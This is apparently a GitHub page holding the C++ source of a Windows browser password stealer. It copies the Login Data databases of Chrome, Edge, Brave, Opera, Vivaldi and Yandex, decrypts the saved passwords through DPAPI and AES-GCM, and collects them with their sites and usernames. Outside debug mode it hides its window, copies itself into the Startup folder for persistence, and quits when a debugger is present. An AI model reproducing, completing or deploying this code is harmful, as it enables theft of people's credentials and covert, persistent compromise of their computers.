-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathmain.cpp
261 lines (218 loc) · 7.03 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
#define DEBUG_MOD
#include "Base64.h"
#include "binaryhandler.hpp"
#include <cstdio>
#include <iostream>
#include "json.hpp"
#include <map>
#include "plusaes_wrapper.hpp"
#include <string>
#include "sqlite3.h"
#include <windows.h>
#include <Wincrypt.h>
#pragma comment(lib, "sqlite3")
#pragma comment(lib, "user32")
#pragma comment(lib, "Crypt32")
std::string con, browser;
std::map<std::string, std::string> paths;
std::string decrypt_c32(std::string cont) {
DATA_BLOB out;
DATA_BLOB buf;
buf.pbData = reinterpret_cast<BYTE*>(cont.data());
buf.cbData = (DWORD) cont.size();
std::string dec_buffer;
if (CryptUnprotectData(&buf, NULL, NULL, NULL, NULL, NULL, &out)) {
for (int i = 0; i < out.cbData; i++) {
dec_buffer += out.pbData[i];
}
#ifdef DEBUG_MOD
std::cout << "Decrypted Crypt32: " << dec_buffer << " Size: " << dec_buffer.size() << "\n";
#endif
LocalFree(out.pbData);
return dec_buffer;
}
else {
#ifdef DEBUG_MOD
std::cerr << "Error: " << GetLastError() << "\n";
return std::to_string(GetLastError());
#else
return "";
#endif
}
}
void trim_data(std::string original_data, std::string* out_pass, std::string* out_tag, std::string* iv) {
#ifdef DEBUG_MOD
std::cout << "Data size: " << original_data.size() << "\n";
#endif
std::string buf;
*iv = original_data.substr(3, 12);
buf = original_data.substr(15, original_data.size() - 15);
*out_tag = buf.substr(buf.size() - 16, 16);
*out_pass = buf.substr(0, buf.size() - out_tag->size());
#ifdef DEBUG_MOD
std::cout << "Out pass: " << *out_pass << " Size: " << out_pass->size() << "\nOut tag: " << *out_tag << " Size: " << out_tag->size() << "\nIV: " << *iv << " Size: " << iv->size() << "\n";
#endif
}
std::string master_k(std::string path) {
//std::string mkey_path = std::string{getenv("localappdata")} + "\\Google\\Chrome\\User Data\\Default\\Local State";
std::string content;
try {
nk125::binary_file_handler b;
content = b.read_file(path);
auto v = nlohmann::json::parse(content);
content = v["os_crypt"]["encrypted_key"];
}
catch (...) {return "";}
#ifdef DEBUG_MOD
std::cout << "Encrypted Master key: " << content << "\n";
#endif
std::string master;
macaron::Base64::Decode(content, master);
master = decrypt_c32(master.substr(5, master.size() - 5));
return master;
}
std::string decrypt_ch(std::string content) {
std::string master_path, dec_buf;
std::string local(getenv("localappdata"));
if (browser == "Vivaldi") {
master_path = local + "/Vivaldi/Local State";
}
else if (browser == "Yandex") {
master_path = local + "/Yandex/YandexBrowser/Local State";
}
else {
master_path = paths[browser] + "Local State";
}
std::string key = master_k(master_path);
nk125::plusaes_wrapper aes;
std::string data, gcm_tag, iv;
trim_data(content, &data, &gcm_tag, &iv);
aes.set_tw_iv(reinterpret_cast<unsigned char*>(iv.data()));
dec_buf = aes.gcm_decrypt(data, key, gcm_tag);
#ifdef DEBUG_MOD
std::cout << "Decrypted buffer: " << dec_buf << " Size: " << dec_buf.size() << "\n";
#endif
return dec_buf;
}
int tHandler(void* nil, int argc, char** second, char** first) {
#ifdef DEBUG_MOD
std::cout << "Argc: " << argc << "\n";
#endif
for (int ind = 0; ind < argc; ind++) {
std::string key = first[ind], value = second[ind];
std::cout << "Key: " << key << " Value: " << value << "\n";
if (!value.empty() || !key.empty()) {
if (key == "action_url") {
con.append("-----\nBrowser: " + browser + "\nURL: " + value + "\n");
}
if (key == "username_value") {
con.append("Email/User: " + value + "\n");
}
if (key == "password_value") {
std::string ftag = value.substr(0, 3);
std::string dec;
if (ftag == "v10" || ftag == "v11") {
dec = decrypt_ch(value);
}
else {
dec = decrypt_c32(value);
}
con.append("Pass: " + dec + "\n\n");
}
}
}
return 0;
}
void sql_chromium(std::string path) {
using namespace std;
//string dbp = string{getenv("localappdata")} + "\\Google\\Chrome\\User Data\\Default\\Login Data";
nk125::binary_file_handler b;
std::string path_db;
if (browser == "Chrome") {
path_db = path + "Default/Login Data";
}
else {
path_db = path + "Login Data";
}
try {
b.fast_copy_file(path_db, path_db + ".d");
}
catch(...) {return;}
sqlite3* datab;
int failed = sqlite3_open(std::string{path_db + ".d"}.c_str(), &datab);
if (failed) {
#ifdef DEBUG_MOD
std::cerr << "Error: " << failed << ", " << path << "\n";
#endif
return;
}
else {
#ifdef DEBUG_MOD
char* err;
int r = sqlite3_exec(datab, "SELECT action_url, username_value, password_value FROM logins", tHandler, 0, &err);
if (r) {
std::cout << "Ret: " << err << "\n";
}
#else
sqlite3_exec(datab, "SELECT action_url, username_value, password_value FROM logins", tHandler, 0, 0);
#endif
sqlite3_close(datab);
}
}
void saveStartup(char* argv[]) {
std::string path = std::string{getenv("appdata")} + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\";
std::string exe(argv[0]);
if (exe.find(path) != std::string::npos) {
return;
}
nk125::binary_file_handler b;
try {
b.copy_file(exe, path + "h.exe");
}
catch (...) {
return;
}
}
void hide() {
HWND window;
AllocConsole();
window = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(window, 0);
}
void init(char* argv[]) {
#ifndef DEBUG_MOD
hide();
saveStartup(argv);
#endif
std::string roaming(getenv("appdata"));
std::string local(getenv("localappdata"));
paths.insert({
{"Opera", roaming + "/Opera Software/Opera Stable/"},
{"OperaGX", roaming + "/Opera Software/Opera GX Stable/"},
{"Edge", local + "/Microsoft/Edge/User Data/"},
{"Chromium", local + "/Chromium/User Data/"},
{"Brave", local + "/BraveSoftware/Brave-Browser/User Data/"},
{"Chrome", local + "/Google/Chrome/User Data/"},
{"Vivaldi", local + "/Vivaldi/User Data/Default/"},
{"Yandex", local + "/Yandex/YandexBrowser/User Data/Default/"},
});
struct _stat32 info;
for (auto path : paths) {
browser = path.first;
if (_stat32(path.second.c_str(), &info) == 0) {
sql_chromium(path.second);
}
}
}
int main(int argc, char* argv[]) {
#ifndef DEBUG_MOD
if (IsDebuggerPresent()) {
return 0;
}
#endif
init(argv);
#ifdef DEBUG_MOD
std::cout << "Login Data: \n" << con << "\n";
#endif
return 0;
}